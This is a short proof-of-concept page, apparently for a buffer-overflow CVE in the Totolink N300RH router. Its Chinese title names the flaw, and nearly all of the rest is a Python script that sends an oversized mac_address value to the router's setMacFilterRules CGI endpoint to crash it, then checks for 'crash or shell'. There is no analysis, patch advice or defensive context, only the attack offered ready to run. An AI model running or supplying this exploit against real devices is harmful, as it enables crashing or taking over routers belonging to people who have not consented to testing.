CVE-2026-7750 Totolink N300RH缓冲区溢出漏洞

import requests # Target URL url = "http://target_ip/cgi-bin/cstecgi.cgi" # Payload to trigger buffer overflow in mac_address parameter # A long string of 'A's is used to overflow the buffer payload = { "function": "setMacFilterRules", "mac_address": "A" * 1000 } try: # Send POST request to the vulnerable endpoint # Authentication might be required based on PR:L response = requests.post(url, data=payload, timeout=5) # Check if the request was processed (overflow may cause crash, so no response) if response.status_code == 200: print("Request sent successfully. Check target for crash or shell.") else: print(f"Received status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")